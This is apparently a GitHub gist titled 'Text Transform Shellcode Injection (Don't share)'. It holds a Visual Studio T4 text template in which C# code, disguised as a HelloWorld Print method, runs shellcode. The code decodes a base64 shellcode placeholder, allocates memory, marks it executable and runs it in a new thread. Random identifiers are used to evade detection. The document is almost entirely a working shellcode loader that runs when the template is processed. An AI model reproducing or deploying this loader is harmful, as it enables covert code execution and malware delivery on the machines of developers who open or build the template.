Text Transform Shellcode Injection (Don't share)
July 30, 2021 ยท View on GitHub
<#@ template language="C#" #>
<# HelloWorld.HelloWorld.Print(); #> <#+ } } #>
<#+ namespace HelloWorld{
public class HelloWorld {
[System.Runtime.InteropServices.DllImport("kernel32")] private static extern System.UInt32 VirtualAlloc(System.UInt32 wBhtrmh,System.UInt32 WecWyqKV, System.UInt32 gGzbNJIRRLKt, System.UInt32 Wrprrhzvd);
[System.Runtime.InteropServices.DllImport("kernel32")] private static extern System.IntPtr CreateThread(System.UInt32 IUDOjFqFoi, System.UInt32 YpvUOOfYW, System.UInt32 WHnbZCLrG,System.IntPtr xnjVLVQTQUEUAW, System.UInt32 qyOUseK, ref System.UInt32 ixLkhYHZLKon);
[System.Runtime.InteropServices.DllImport("kernel32")] private static extern System.UInt32 WaitForSingleObject(System.IntPtr wrYkAlY, System.UInt32 tKUGnPGu);
[System.Runtime.InteropServices.DllImport("kernel32")] static extern bool VirtualProtect(System.IntPtr HzvUMCAgLVSk, int pPLtvXeroiJlquv, uint yFGZKsw, out uint IrfwHYe);
public static void Print()
{
System.Text.StringBuilder PuCeMEa = new System.Text.StringBuilder();
PuCeMEa.Append("BASE64_SHELLCODE");
System.String nPnDjp = PuCeMEa.ToString();
byte[] VirVzVxaVJzlKK = System.Convert.FromBase64String(nPnDjp);
System.UInt32 nByTbcecsg = VirtualAlloc(0, (System.UInt32)VirVzVxaVJzlKK.Length, 0x1000, 0x04);
System.Runtime.InteropServices.Marshal.Copy(VirVzVxaVJzlKK, 0, (System.IntPtr)(nByTbcecsg), VirVzVxaVJzlKK.Length);
System.IntPtr yIduDwnZMO = System.IntPtr.Zero;
System.UInt32 UemjsLFR = 0;
System.IntPtr XwGYhnzcs = System.IntPtr.Zero;
uint niysiDCIRSb = 0;
VirtualProtect((System.IntPtr)nByTbcecsg, VirVzVxaVJzlKK.Length, 0x20, out niysiDCIRSb);
yIduDwnZMO = CreateThread(0, 0, nByTbcecsg, XwGYhnzcs, 0, ref UemjsLFR);
WaitForSingleObject(yIduDwnZMO, 0xFFFFFFFF);
#>
<#+ } #>